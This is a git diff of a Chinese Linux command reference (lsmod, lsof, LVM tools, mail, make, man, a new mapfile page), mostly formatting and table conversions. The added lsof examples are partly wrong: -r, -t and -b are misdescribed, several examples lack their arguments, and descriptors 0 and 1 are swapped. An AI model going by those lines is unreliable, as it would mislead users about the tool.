+CPU NODE SOCKET CORE L1d:L1i:L2:L3 ONLINE MAXMHZ MINMHZ
+0 0 0 0 0:0:0:0 是 3600.0000 800.0000
+1 0 0 1 1:1:1:0 是 3600.0000 800.0000
+2 0 0 2 2:2:2:0 是 3600.0000 800.0000
+3 0 0 3 3:3:3:0 是 3600.0000 800.0000
+4 0 0 0 0:0:0:0 是 3600.0000 800.0000
+5 0 0 1 1:1:1:0 是 3600.0000 800.0000
+6 0 0 2 2:2:2:0 是 3600.0000 800.0000
+7 0 0 3 3:3:3:0 是 3600.0000 800.0000
+```
-
diff --git a/command/lsmod.md b/command/lsmod.md
index 19f98113ec7..ed9ebd64ec3 100644
--- a/command/lsmod.md
+++ b/command/lsmod.md
@@ -1,21 +1,21 @@
lsmod
===
-
+
显示已载入系统的模块
## 补充说明
**lsmod命令** 用于显示已经加载到内核中的模块的状态信息。执行lsmod命令后会列出所有已载入系统的模块。Linux操作系统的核心具有模块化的特性,应此在编译核心时,务须把全部的功能都放入核心。您可以将这些功能编译成一个个单独的模块,待需要时再分别载入。
-### 语法
+### 语法
-```
+```shell
lsmod
```
-### 实例
+### 实例
-```
+```shell
[root@LinServ-1 ~]# lsmod
Module Size Used by
ipv6 272801 15
@@ -100,4 +100,3 @@ ehci_hcd 34509 0
通常在使用lsmod命令时,都会采用类似`lsmod | grep -i ext3`这样的命令来查询当前系统是否加载了某些模块。
-
\ No newline at end of file
diff --git a/command/lsof.md b/command/lsof.md
index f9c68642e49..59ca84d9c2d 100644
--- a/command/lsof.md
+++ b/command/lsof.md
@@ -11,13 +11,13 @@ lsof
### 语法
-```
-lsof(选项)
+```shell
+lsof (选项)
```
### 选项
-```
+```shell
-a:列出打开文件存在的进程;
-c<进程名>:列出指定进程所打开的文件;
-g:列出GID号进程详情;
@@ -25,16 +25,16 @@ lsof(选项)
+d<目录>:列出目录下被打开的文件;
+D<目录>:递归列出目录下被打开的文件;
-n<目录>:列出使用NFS的文件;
--i<条件>:列出符合条件的进程。(4、6、协议、:端口、 @ip )
+-i<条件>:列出符合条件的进程(协议、:端口、 @ip )
-p<进程号>:列出指定进程号所打开的文件;
-u:列出UID号进程详情;
-h:显示帮助信息;
--v:显示版本信息。
+-v:显示版本信息
```
### 实例
-```
+```shell
lsof
command PID USER FD type DEVICE SIZE NODE NAME
init 1 root cwd DIR 8,2 4096 2 /
@@ -64,79 +64,192 @@ events/0 6 root txt unknown /proc
events/1 7 root cwd DIR 8,2 4096 2 /
```
- **lsof输出各列信息的意义如下:**
+**lsof输出各列信息的意义如下:**
-* COMMAND:进程的名称
-* PID:进程标识符
-* PPID:父进程标识符(需要指定-R参数)
-* USER:进程所有者
-* PGID:进程所属组
-* FD:文件描述符,应用程序通过文件描述符识别该文件。
+标识 | 说明
+:- | :-
+`COMMAND` | 进程的名称
+`PID` | 进程标识符
+`PPID` | 父进程标识符(需要指定-R参数)
+`USER` | 进程所有者
+`PGID` | 进程所属组
+`FD` | 文件描述符,应用程序通过它识别该文件
文件描述符列表:
-1. cwd:表示current work dirctory,即:应用程序的当前工作目录,这是该应用程序启动的目录,除非它本身对这个目录进行更改
-2. txt:该类型的文件是程序代码,如应用程序二进制文件本身或共享库,如上列表中显示的 /sbin/init 程序
-3. lnn:library references (AIX);
-4. er:FD information error (see NAME column);
-5. jld:jail directory (FreeBSD);
-6. ltx:shared library text (code and data);
-7. mxx :hex memory-mapped type number xx.
-8. m86:DOS Merge mapped file;
-9. mem:memory-mapped file;
-10. mmap:memory-mapped device;
-11. pd:parent directory;
-12. rtd:root directory;
-13. tr:kernel trace file (OpenBSD);
-14. v86 VP/ix mapped file;
-15. 0:表示标准输出
-16. 1:表示标准输入
-17. 2:表示标准错误
+标识 | 说明
+:- | :-
+`cwd` | 表示当前工作目录,即:应用程序的当前工作目录,这是该应用程序启动的目录,除非它本身对这个目录进行更改
+`txt` | 该类型的文件是程序代码,如应用程序二进制文件本身或共享库,如上列表中显示的 /sbin/init 程序
+`lnn` | 库引用 (AIX);
+`er` | FD 信息错误(参见名称栏)
+`jld` | jail 目录 (FreeBSD);
+`ltx` | 共享库文本(代码和数据)
+`mxx` | 十六进制内存映射类型编号xx
+`m86` | DOS合并映射文件
+`mem` | 内存映射文件
+`mmap` | 内存映射设备
+`pd` | 父目录
+`rtd` | 根目录
+`tr` | 内核跟踪文件 (OpenBSD)
+`v86` | VP/ix 映射文件
+`0` | 表示标准输出
+`1` | 表示标准输入
+`2` | 表示标准错误
一般在标准输出、标准错误、标准输入后还跟着文件状态模式:
-1. u:表示该文件被打开并处于读取/写入模式。
-2. r:表示该文件被打开并处于只读模式。
-3. w:表示该文件被打开并处于。
-4. 空格:表示该文件的状态模式为unknow,且没有锁定。
-5. -:表示该文件的状态模式为unknow,且被锁定。
+标识 | 说明
+:- | :-
+`u` | 表示该文件被打开并处于读取/写入模式
+`r` | 表示该文件被打开并处于只读模式
+`w` | 表示该文件被打开并处于写入模式
+`空格` | 表示该文件的状态模式为 unknow,且没有锁定
+`-` | 表示该文件的状态模式为 unknow,且被锁定
同时在文件状态模式后面,还跟着相关的锁:
-1. N:for a Solaris NFS lock of unknown type;
-2. r:for read lock on part of the file;
-3. R:for a read lock on the entire file;
-4. w:for a write lock on part of the file;(文件的部分写锁)
-5. W:for a write lock on the entire file;(整个文件的写锁)
-6. u:for a read and write lock of any length;
-7. U:for a lock of unknown type;
-8. x:for an SCO OpenServer Xenix lock on part of the file;
-9. X:for an SCO OpenServer Xenix lock on the entire file;
-10. space:if there is no lock.
-
-文件类型:
-
-1. DIR:表示目录。
-2. CHR:表示字符类型。
-3. BLK:块设备类型。
-4. UNIX: UNIX 域套接字。
-5. FIFO:先进先出 (FIFO) 队列。
-6. IPv4:网际协议 (IP) 套接字。
-7. DEVICE:指定磁盘的名称
-8. SIZE:文件的大小
-9. NODE:索引节点(文件在磁盘上的标识)
-10. NAME:打开文件的确切名称
+标识 | 说明
+:- | :-
+`N` | 对于未知类型的Solaris NFS锁
+`r` | 用于部分文件的读取锁定
+`R` | 对整个文件进行读取锁定
+`w` | 对文件的一部分进行写锁定(文件的部分写锁)
+`W` | 对整个文件进行写锁定(整个文件的写锁)
+`u` | 用于任何长度的读写锁
+`U` | 对于未知类型的锁
+`x` | 对于文件部分的SCO OpenServer Xenix锁
+`X` | 对于整个文件的SCO OpenServer Xenix锁
+`space` | 如果没有锁
+
+
+**文件类型**
+
+标识 | 说明
+:- | :-
+`DIR` | 表示目录
+`CHR` | 表示字符类型
+`BLK` | 块设备类型
+`UNIX` | UNIX 域套接字
+`FIFO` | 先进先出 (FIFO) 队列
+`IPv4` | 网际协议 (IP) 套接字
+`DEVICE` | 指定磁盘的名称
+`SIZE` | 文件的大小
+`NODE` | 索引节点(文件在磁盘上的标识)
+`NAME` | 打开文件的确切名称
+`REG` | 常规文件
列出指定进程号所打开的文件:
-```
+```shell
lsof -p $pid
```
获取端口对应的进程ID=>pid
-```
+```shell
lsof -i:9981 -P -t -sTCP:LISTEN
```
-
+列出打开文件的进程:
+
+```shell
+lsof $filename
+```
+
+查看端口占用
+```shell
+lsof -i:$port
+```
+
+**查看所有打开的文件:**
+
+```
+lsof
+```
+
+**查看指定进程打开的文件:**
+
+```
+lsof -p
+```
+
+**查看指定用户打开的文件:**
+
+```
+lsof -u
+```
+
+**查看指定文件名相关的进程:**
+
+```
+lsof
+```
+
+**查看网络连接相关的进程:**
+
+```
+lsof -i
+```
+
+**查看指定端口相关的进程:**
+
+```
+lsof -i :
+```
+
+**查看正在使用某个目录的进程:**
+
+```
+lsof +D /path/to/directory
+```
+
+**查看被删除但仍然被某个进程打开的文件:**
+
+```
+lsof -u +L1
+```
+
+**查看某个文件系统上被打开的文件:**
+
+```
+lsof /mountpoint
+```
+
+**以列表形式显示结果:**
+
+```
+lsof -F
+```
+
+**显示结果中不包含主机名:**
+
+```
+lsof -n
+```
+
+**显示结果中不包含进程路径:**
+
+```
+lsof -b
+```
+
+**以逆序显示结果:**
+
+```
+lsof -r
+```
+
+**以特定间隔时间循环显示结果:**
+
+```
+lsof -r
+```
+
+**以持续模式显示结果:**
+
+```
+lsof -t
+```
+
+
diff --git a/command/lspci.md b/command/lspci.md
index 491aa124ab2..e1fe2745bd6 100644
--- a/command/lspci.md
+++ b/command/lspci.md
@@ -1,21 +1,21 @@
lspci
===
-
+
显示当前主机的所有PCI总线信息
## 补充说明
**lspci命令** 用于显示当前主机的所有PCI总线信息,以及所有已连接的PCI设备信息。
-### 语法
+### 语法
-```
+```shell
lspci(选项)
```
-### 选项
+### 选项
-```
+```shell
-n:以数字方式显示PCI厂商和设备代码;
-t:以树状结构显示PCI设备的层次关系,包括所有的总线、桥、设备以及它们之间的联接;
-b:以总线为中心的视图;
@@ -25,9 +25,9 @@ lspci(选项)
-m:以机器可读方式显示PCI设备信息。
```
-### 实例
+### 实例
-```
+```shell
[root@localhost ~]# lspci
00:00.0 host bridge: Intel Corporation 5500 I/O Hub to ESI Port (rev 22)
00:01.0 PCI bridge: Intel Corporation 5520/5500/X58 I/O Hub PCI Express Root Port 1 (rev 22)
@@ -77,4 +77,3 @@ lspci(选项)
```
-
\ No newline at end of file
diff --git a/command/lsusb.md b/command/lsusb.md
index 2b7519a48ca..a3bdbc9e9fe 100644
--- a/command/lsusb.md
+++ b/command/lsusb.md
@@ -1,6 +1,6 @@
lsusb
===
-
+
显示本机的USB设备列表信息
## 补充说明
@@ -9,15 +9,15 @@ lsusb
lsusb命令是一个学习USB驱动开发,认识USB设备的助手,推荐大家使用,如果您的开发板中或者产品中没有lsusb命令可以自己移植一个,放到文件系统里面。
-### 语法
+### 语法
-```
+```shell
lsusb(选项)
```
-### 选项
+### 选项
-```
+```shell
-v:显示USB设备的详细信息;
-s<总线:设备号>仅显示指定的总线和(或)设备号的设备;
-d<厂商:产品>:仅显示指定厂商和产品编号的设备;
@@ -25,11 +25,11 @@ lsusb(选项)
-V:显示命令的版本信息。
```
-### 实例
+### 实例
插入usb鼠标后执行lsusb的输出内容如下:
-```
+```shell
Bus 005 Device 001: id 0000:0000
Bus 001 Device 001: ID 0000:0000
Bus 004 Device 001: ID 0000:0000
@@ -48,7 +48,7 @@ Bus 002 Device 001: ID 0000:0000
表示系统给usb鼠标分配的设备号(devnum),同时也可以看到该鼠标是插入到了第二个usb主控制器
-```
+```shell
006 usb_device.devnum
/sys/devices/pci0000:00/0000:00:1d.1/usb2/2-2/devnum
```
@@ -57,7 +57,7 @@ Bus 002 Device 001: ID 0000:0000
表示usb设备的ID(这个ID由芯片制造商设置,可以唯一表示该设备)
-```
+```shell
15d9 usb_device_descriptor.idVendor
0a37 usb_device_descriptor.idProduct
/sys/devices/pci0000:00/0000:00:1d.1/usb2/2-2/idVendor
@@ -68,8 +68,7 @@ Bus 002 Device 001: ID 0000:0000**
表示002号usb主控制器上接入了两个设备:
-* 一个是usb根Hub -- 001
-* 一个是usb鼠标 -- 006
+* 一个是usb根Hub -- 001
+* 一个是usb鼠标 -- 006
-
\ No newline at end of file
diff --git a/command/ltrace.md b/command/ltrace.md
index 10709468741..8be8fc41ca4 100644
--- a/command/ltrace.md
+++ b/command/ltrace.md
@@ -1,21 +1,21 @@
ltrace
===
-
+
用来跟踪进程调用库函数的情况
## 补充说明
**ltrace命令** 是用来跟踪进程调用库函数的情况。
-### 语法
+### 语法
-```
+```shell
ltrace [option ...] [command [arg ...]]
```
-### 选项
+### 选项
-```
+```shell
-a 对齐具体某个列的返回值。
-c 计算时间和调用,并在程序退出时打印摘要。
-C 解码低级别名称(内核级)为用户级名称。
@@ -39,11 +39,11 @@ ltrace [option ...] [command [arg ...]]
-x NAME treat the global NAME like a library subroutine.(求翻译)
```
-### 实例
+### 实例
最基本应用,不带任何参数:
-```
+```shell
[guest@localhost tmp]$ ltrace ./a.out
__libc_start_main(0x80484aa, 1, 0xbfc07744, 0x8048550, 0x8048540
printf("no1:%d \t no2:%d \t diff:%d\n", 10, 6, 4no1:10 no2:6 diff:4 ) = 24
@@ -55,7 +55,7 @@ printf("no1:%d \t no2:%d \t diff:%d\n", 8, 8, 0no1:8 no2:8 diff:0 ) = 23
输出调用时间开销:
-```
+```shell
[guest@localhost tmp]$ ltrace -T ./a.out
__libc_start_main(0x80484aa, 1, 0xbf81d394, 0x8048550, 0x8048540
printf("no1:%d \t no2:%d \t diff:%d\n", 10, 6, 4no1:10 no2:6 diff:4 ) = 24 <0.000972>
@@ -67,7 +67,7 @@ printf("no1:%d \t no2:%d \t diff:%d\n", 8, 8, 0no1:8 no2:8 diff:0 ) = 23 <0.0001
显示系统调用:
-```
+```shell
[guest@localhost tmp]$ ltrace -S ./a.out
SYS_brk(NULL) = 0x9e20000
SYS_access(0xa4710f, 4, 0xa4afc0, 0, 0xa4b644) = 0
@@ -85,4 +85,3 @@ SYS_mmap2(0x424000, 4096, 3, 2066, 3) = 0x424000
```
-
\ No newline at end of file
diff --git a/command/lvcreate.md b/command/lvcreate.md
index 1993c5e4431..71c5cb5ef76 100644
--- a/command/lvcreate.md
+++ b/command/lvcreate.md
@@ -1,44 +1,44 @@
lvcreate
===
-
+
用于创建LVM的逻辑卷
## 补充说明
**lvcreate命令** 用于创建LVM的逻辑卷。逻辑卷是创建在卷组之上的。逻辑卷对应的设备文件保存在卷组目录下,例如:在卷组"vg1000"上创建一个逻辑卷"lvol0",则此逻辑卷对应的设备文件为"/dev/vg1000/lvol0"。
-### 语法
+### 语法
-```
+```shell
lvcreate(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
+-n: 指定逻辑卷的名称
-L:指定逻辑卷的大小,单位为“kKmMgGtT”字节;
-l:指定逻辑卷的大小(LE数)。
```
-### 参数
+### 参数
逻辑卷:指定要创建的逻辑卷名称。
-### 实例
+### 实例
使用lvcreate命令在卷组"vg1000"上创建一个200MB的逻辑卷。在命令行中输入下面的命令:
-```
-[root@localhost ~]# lvcreate -L 200M vg1000 #创建大小为200M的逻辑卷
+```shell
+[root@localhost ~]# lvcreate -L 200M -n lvol0 vg1000 #创建大小为200M的逻辑卷
```
输出信息如下:
-```
+```shell
Logical volume "lvol0" created
```
说明:创建成功后,新的逻辑卷"lvol0",将通过设备文件`/dev/vg1000/lvol0`进行访问。
-
\ No newline at end of file
diff --git a/command/lvdisplay.md b/command/lvdisplay.md
index 73267b139e1..f5719481614 100644
--- a/command/lvdisplay.md
+++ b/command/lvdisplay.md
@@ -1,33 +1,33 @@
lvdisplay
===
-
+
显示逻辑卷属性
## 补充说明
**lvdisplay命令** 用于显示LVM逻辑卷空间大小、读写状态和快照信息等属性。如果省略"逻辑卷"参数,则lvdisplay命令显示所有的逻辑卷属性。否则,仅显示指定的逻辑卷属性。
-### 语法
+### 语法
-```
+```shell
lvdisplay(参数)
```
-### 参数
+### 参数
逻辑卷:指定要显示属性的逻辑卷对应的设备文件。
-### 实例
+### 实例
使用lvdisplay命令显示指定逻辑卷的属性。在命令行中输入下面的命令:
-```
+```shell
[root@localhost ~]# lvdisplay /dev/vg1000/lvol0 #显示逻辑卷属性
```
输出信息如下:
-```
+```shell
--- Logical volume ---
LV Name /dev/vg1000/lvol0
......省略部分输出内容......
@@ -35,4 +35,3 @@ lvdisplay(参数)
```
-
\ No newline at end of file
diff --git a/command/lvextend.md b/command/lvextend.md
index b74537e9c60..19043b19994 100644
--- a/command/lvextend.md
+++ b/command/lvextend.md
@@ -1,43 +1,42 @@
lvextend
===
-
+
扩展逻辑卷空间
## 补充说明
**lvextend命令** 用于在线扩展逻辑卷的空间大小,而不中断应用程序对逻辑卷的访问。使用lvextend命令动态在线扩展磁盘空间,整个空间扩展过程对于应用程序来说是完全透明的。
-### 语法
+### 语法
-```
+```shell
lvextend(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-L:指定逻辑卷的大小,单位为“kKmMgGtT”字节;
-l:指定逻辑卷的大小(LE数)。
```
-### 参数
+### 参数
逻辑卷:指定要扩展空间的逻辑卷。
-### 实例
+### 实例
使用lvextend命令为逻辑卷`/dev/vg1000/lvol0`增加100M空间。在命令行中输入下面的命令:
-```
+```shell
[root@localhost ~]# lvextend -L +100M /dev/vg1000/lvol0 #为了解决增加100M空间
```
输出信息如下:
-```
+```shell
Extending logical volume lvol0 to 300.00 MB
Logical volume lvol0 successfully resized
```
-
\ No newline at end of file
diff --git a/command/lvreduce.md b/command/lvreduce.md
index c5396e47650..98d13f597d4 100644
--- a/command/lvreduce.md
+++ b/command/lvreduce.md
@@ -1,40 +1,40 @@
lvreduce
===
-
+
收缩逻辑卷空间
## 补充说明
**lvreduce命令** 用于减少LVM逻辑卷占用的空间大小。使用lvreduce命令收缩逻辑卷的空间大小有可能会删除逻辑卷上已有的数据,所以在操作前必须进行确认。
-### 语法
+### 语法
-```
+```shell
lvreduce(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-L:指定逻辑卷的大小,单位为“kKmMgGtT”字节;
-l:指定逻辑卷的大小(LE数)。
```
-### 参数
+### 参数
逻辑卷:指定要操作的逻辑卷对应的设备文件。
-### 实例
+### 实例
使用lvreduce命令减少指定的逻辑卷的空间大小。在命令行中输入下面的命令:
-```
+```shell
[root@localhost ~]# lvreduce -L -50M /dev/vg1000/lvol0 #将逻辑卷的空间大小减少50M
```
输出信息如下:
-```
+```shell
......省略部分输出内容......
Do you really want to reduce lvol0? [y/n]: y #确认操作
Reducing logical volume lvol0 to 252.00 MB
@@ -42,4 +42,3 @@ Do you really want to reduce lvol0? [y/n]: y #确认操作
```
-
\ No newline at end of file
diff --git a/command/lvremove.md b/command/lvremove.md
index 44664061554..3bce482d1b4 100644
--- a/command/lvremove.md
+++ b/command/lvremove.md
@@ -1,43 +1,42 @@
lvremove
===
-
+
删除指定LVM逻辑卷
## 补充说明
**lvremove命令** 用于删除指定LVM逻辑卷。如果逻辑卷已经使用mount命令加载,则不能使用lvremove命令删除。必须使用umount命令卸载后,逻辑卷方可被删除。
-### 语法
+### 语法
-```
+```shell
lvremove(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-f:强制删除。
```
-### 参数
+### 参数
逻辑卷:指定要删除的逻辑卷。
-### 实例
+### 实例
使用lvremove命令删除指定的逻辑卷。在命令行中输入下面的命令:
-```
+```shell
[root@localhost ~]# lvremove /dev/vg1000/lvol0 #删除逻辑卷"lvol0"
```
输出信息如下:
-```
+```shell
Do you really want to remove active logical
volume "lvol0"? [y/n]: y #确认删除
Logical volume "lvol0" successfully removed
```
-
\ No newline at end of file
diff --git a/command/lvresize.md b/command/lvresize.md
index dc95c8017f5..85f00560dea 100644
--- a/command/lvresize.md
+++ b/command/lvresize.md
@@ -1,43 +1,42 @@
lvresize
===
-
+
调整逻辑卷空间大小
## 补充说明
**lvresize命令** 用于调整LVM逻辑卷的空间大小,可以增大空间和缩小空间。使用lvresize命令调整逻辑卷空间大小和缩小空间时需要谨慎,因为它有可能导致数据丢失。
-### 语法
+### 语法
-```
+```shell
lvresize(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-L:指定逻辑卷的大小,单位为“kKmMgGtT”字节;
-l:指定逻辑卷的大小(LE数)。
```
-### 参数
+### 参数
逻辑卷:指定要删除的逻辑卷。
-### 实例
+### 实例
使用lvresize命令调整最大的逻辑卷大小。在命令行中输入下面的命令:
-```
+```shell
[root@localhost ~]# lvresize -L +200M /dev/vg1000/lvol0 #将逻辑卷空间增加200M
```
输出信息如下:
-```
+```shell
Extending logical volume lvol0 to 280.00 MB
Logical volume lvol0 successfully resized
```
-
\ No newline at end of file
diff --git a/command/lvscan.md b/command/lvscan.md
index 22edb447a7e..8020bcbecc7 100644
--- a/command/lvscan.md
+++ b/command/lvscan.md
@@ -1,37 +1,36 @@
lvscan
===
-
+
扫描逻辑卷
## 补充说明
**lvscan命令** 用于扫描当前系统中存在的所有的LVM逻辑卷。使用lvscan指令可以发现系统中的所有逻辑卷,及其对应的设备文件。
-### 语法
+### 语法
-```
+```shell
lvscan(选项)
```
-### 选项
+### 选项
-```
+```shell
-b:显示逻辑卷的主设备和次设备号。
```
-### 实例
+### 实例
使用lvscan命令扫描系统中的所有逻辑卷。在命令行中输入下面的命令:
-```
+```shell
[root@localhost ~]# lvscan #扫描所有的逻辑卷
```
输出信息如下:
-```
+```shell
ACTIVE '/dev/vg1000/lvol0' [200.00 MB] inherit
```
-
\ No newline at end of file
diff --git a/command/lynx.md b/command/lynx.md
index 535d8c23b70..453839f0890 100644
--- a/command/lynx.md
+++ b/command/lynx.md
@@ -1,21 +1,21 @@
lynx
===
-
+
纯文本模式的网页浏览器
## 补充说明
**lynx命令** 是纯文本模式的网页浏览器,不支持图形、音视频等多媒体信息。
-### 语法
+### 语法
-```
+```shell
lynx(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-case:在搜索字符串时,区分大小写;
-ftp:关闭ftp功能;
-nobrowse:关闭目录浏览功能;
@@ -26,7 +26,7 @@ lynx(选项)(参数)
--versiom:显示指令的版本信息。
```
-### 参数
+### 参数
URL:指定要访问的网站的URL地址。
@@ -34,7 +34,7 @@ URL:指定要访问的网站的URL地址。
**移动命令**
-```
+```shell
下方向键:页面上的下一个链接(用高亮度显示)。
上方向键:页面上的前一个链接(用高亮度显示)。
回车和右方向键:跳转到链接指向的地址。
@@ -43,7 +43,7 @@ URL:指定要访问的网站的URL地址。
**滚动命令**
-```
+```shell
+、Page-Down、Space、Ctrl+f:向下翻页。
-、Page-Up、b、Ctrl+b:向上翻页。
Ctrl+a:移动到当前页的最前面。
@@ -57,7 +57,7 @@ Ctrl+p:往回翻两行。
**文件操作命令**
-```
+```shell
c:建立一个新文件。
d:下载选中的文件。
E:编辑选中的文件。
@@ -70,7 +70,7 @@ u:上载一个文件到当前目录。
**其他命令**
-```
+```shell
?、h:帮助。
a:把当前链接加入到一个书签文件里。
c:向页面的拥有者发送意见或建议。
@@ -113,4 +113,3 @@ Ctrl+k:调用 Cookie Jar 页。
```
-
\ No newline at end of file
diff --git a/command/mail.md b/command/mail.md
index 8323adcfa5d..33abae88f7a 100644
--- a/command/mail.md
+++ b/command/mail.md
@@ -1,21 +1,21 @@
mail
===
-
+
命令行下发送和接收电子邮件
## 补充说明
**mail命令** 是命令行的电子邮件发送和接收工具。操作的界面不像elm或pine那么容易使用,但功能非常完整。
-### 语法
+### 语法
-```
+```shell
mail(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-b<地址>:指定密件副本的收信人地址;
-c<地址>:指定副本的收信人地址;
-f<邮件文件>:读取指定邮件文件中的邮件;
@@ -28,15 +28,15 @@ mail(选项)(参数)
-v:执行时,显示详细的信息。
```
-### 参数
+### 参数
邮件地址:收信人的电子邮箱地址。
-### 实例
+### 实例
**直接使用shell当编辑器**
-```
+```shell
mail -s "Hello from jsdig.com by shell" admin@jsdig.com
hello,this is the content of mail.
welcome to www.jsdig.com
@@ -46,7 +46,7 @@ welcome to www.jsdig.com
**使用管道进行邮件发送**
-```
+```shell
echo "hello,this is the content of mail.welcome to www.jsdig.com" | mail -s "Hello from jsdig.com by pipe" admin@jsdig.com
```
@@ -54,7 +54,7 @@ echo "hello,this is the content of mail.welcome to www.jsdig.com" | mail -s "Hel
**使用文件进行邮件发送**
-```
+```shell
mail -s "Hello from jsdig.com by file" admin@jsdig.com < mail.txt
```
@@ -64,7 +64,7 @@ mail -s "Hello from jsdig.com by file" admin@jsdig.com < mail.txt
因为mail程序本身就是调用sendmail来进行邮件发送的,因此我们可以在mail命令中使用sendmail的参数进行配置,比如我想使用特定的发件人发送邮件,可以使用如下命令:
-```
+```shell
mail -s "Hello from jsdig.com with sender" admin@jsdig.com -- -f user@jsdig.com
\ No newline at end of file
diff --git a/command/mailq.md b/command/mailq.md
index f628b354311..98a5ac58fe1 100644
--- a/command/mailq.md
+++ b/command/mailq.md
@@ -1,31 +1,30 @@
mailq
===
-
+
显示待发送的邮件队列
## 补充说明
**mailq命令** 用户显示待发送的邮件队列,显示的每一个条目包括邮件队列id、邮件大小、加入队列时间、邮件发送者和接受者。如果邮件最后一次尝试后还没有将邮件投递出去,则显示发送失败的原因。
-### 语法
+### 语法
-```
+```shell
mailq(选项)
```
-### 选项
+### 选项
-```
+```shell
-v:显示详细的信息。
```
-### 实例
+### 实例
-```
+```shell
[root@localhost ~]# mailq -v
/var/spool/mqueue is empty
Total requests: 0
```
-
\ No newline at end of file
diff --git a/command/mailstat.md b/command/mailstat.md
index a4de3c9fd18..fd193ce0033 100644
--- a/command/mailstat.md
+++ b/command/mailstat.md
@@ -1,21 +1,21 @@
mailstat
===
-
+
显示到达的邮件状态
## 补充说明
**mailstat命令** 用来显示到达的邮件状态。
-### 语法
+### 语法
-```
+```shell
mailstat(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-k:保持邮件日志文件的完整性,不清空日志文件;
-l:使用长格式显示邮件状态;
-m:合并任何错误信息到一行中显示;
@@ -24,9 +24,8 @@ mailstat(选项)(参数)
-s:如果没有邮件则不输出任何信息。
```
-### 参数
+### 参数
邮件日志文件:指定要读取邮件日志文件。
-
\ No newline at end of file
diff --git a/command/make.md b/command/make.md
index 059af48a8f5..a36646ff805 100644
--- a/command/make.md
+++ b/command/make.md
@@ -1,21 +1,21 @@
make
===
-
+
GNU的工程化编译工具
## 补充说明
-**make命令** 是GNU的工程化编译工具,用于编译众多相互关联的源代码问价,以实现工程化的管理,提高开发效率。
+**make命令** 是GNU的工程化编译工具,用于编译众多相互关联的源代码文件,以实现工程化的管理,提高开发效率。
-### 语法
+### 语法
-```
+```shell
make(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-f:指定“makefile”文件;
-i:忽略命令执行返回的出错信息;
-s:沉默模式,在执行之前不输出相应的命令行信息;
@@ -29,18 +29,18 @@ make(选项)(参数)
Linux下常用选项与Unix系统中稍有不同,下面是不同的部分:
-```
+```shell
-c dir:在读取 makefile 之前改变到指定的目录dir;
-I dir:当包含其他 makefile文件时,利用该选项指定搜索目录;
-h:help文挡,显示所有的make选项;
-w:在处理 makefile 之前和之后,都显示工作目录。
```
-### 参数
+### 参数
目标:指定编译目标。
-### 知识扩展
+### 知识扩展
无论是在linux 还是在Unix环境 中,make都是一个非常重要的编译命令。不管是自己进行项目开发还是安装应用软件,我们都经常要用到make或make install。利用make工具,我们可以将大型的开发项目分解成为多个更易于管理的模块,对于一个包括几百个源文件的应用程序,使用make和 makefile工具就可以简洁明快地理顺各个源文件之间纷繁复杂的相互关系。
@@ -49,4 +49,4 @@ Linux下常用选项与Unix系统中稍有不同,下面是不同的部分:
因此,有效的利用make和 makefile工具可以大大提高项目开发的效率。同时掌握make和makefile之后,您也不会再面对着Linux下的应用软件手足无措了。
-
\ No newline at end of file
+
diff --git a/command/man.md b/command/man.md
index 02ae2b9cf1b..1508077ece6 100644
--- a/command/man.md
+++ b/command/man.md
@@ -7,29 +7,29 @@ man
**man命令** 是Linux下的帮助指令,通过man指令可以查看Linux中的指令帮助、配置文件帮助和编程帮助等信息。
-### 语法
+### 语法
-```
+```shell
man(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-a:在所有的man帮助手册中搜索;
-f:等价于whatis指令,显示给定关键字的简短描述信息;
-P:指定内容时使用分页程序;
-M:指定man手册搜索的路径。
```
-### 参数
+### 参数
* 数字:指定从哪本man手册中搜索帮助;
* 关键字:指定要搜索帮助的关键字。
### 数字代表内容
-```
+```shell
1:用户在shell环境可操作的命令或执行文件;
2:系统内核可调用的函数与工具等
3:一些常用的函数(function)与函数库(library),大部分为C的函数库(libc)
@@ -41,23 +41,30 @@ man(选项)(参数)
9:跟kernel有关的文件
```
-### 实例
+### 实例
我们输入`man ls`,它会在最左上角显示“LS(1)”,在这里,“LS”表示手册名称,而“(1)”表示该手册位于第一节章,同样,我们输`man ifconfig`它会在最左上角显示“IFCONFIG(8)”。也可以这样输入命令:“man [章节号] 手册名称”。
man是按照手册的章节号的顺序进行搜索的,比如:
-```
+```shell
man sleep
```
只会显示sleep命令的手册,如果想查看库函数sleep,就要输入:
-```
+```shell
man 3 sleep
```
+### 相关命令
+
+* `tldr`: 简化版的使用手册,并不会像man一样把所有的使用参数和说明都列出来,而是只显示常用的几个使用Sample和说明
+ * 开源地址: [https://github.com/tldr-pages/tldr/](https://github.com/tldr-pages/tldr/)
+ * 官网: [https://tldr.sh/](https://tldr.sh/)
+ * 在线版本: [https://tldr.ostera.io/](https://tldr.ostera.io/)
+
+
-
diff --git a/command/mapfile.md b/command/mapfile.md
new file mode 100644
index 00000000000..27007015b5f
--- /dev/null
+++ b/command/mapfile.md
@@ -0,0 +1,84 @@
+mapfile
+===
+
+从标准输入读取行并赋值到数组。
+
+## 概要
+
+```shell
+mapfile [-d delim] [-n count] [-O origin] [-s count] [-t] [-u fd] [-C callback] [-c quantum] [array]
+```
+
+## 主要用途
+
+- 从标准输入或文件描述符读取行并赋值到数组。
+
+
+## 选项
+
+```shell
+-d delim 将delim设为行分隔符,代替默认的换行符。
+-n count 从标准输入中获取最多count行,如果count为零那么获取全部。
+-O origin 从数组下标为origin的位置开始赋值,默认的下标为0。
+-s count 跳过对前count行的读取。
+-t 读取时移除行分隔符delim(默认为换行符)。
+-u fd 从文件描述符fd中读取。
+-C callback 每当读取了quantum行时,调用callback语句。
+-c quantum 设定读取的行数为quantum。
+
+如果使用-C时没有同时使用-c指定quantum的值,那么quantum默认为5000。
+当callback语句执行时,将数组下一个要赋值的下标以及读取的行作为额外的参数传递给callback语句。
+如果使用-O时没有提供起始位置,那么mapfile会在实际赋值之前清空该数组。
+```
+
+## 参数
+
+array(可选):用于输出的数组名称。如果没有指定数组名称,那么会默认写入到变量名为MAPFILE的数组中。
+
+## 返回值
+
+返回成功除非使用了非法选项、指定的数组是只读的、指定的数组不是下标数组。
+
+## 例子
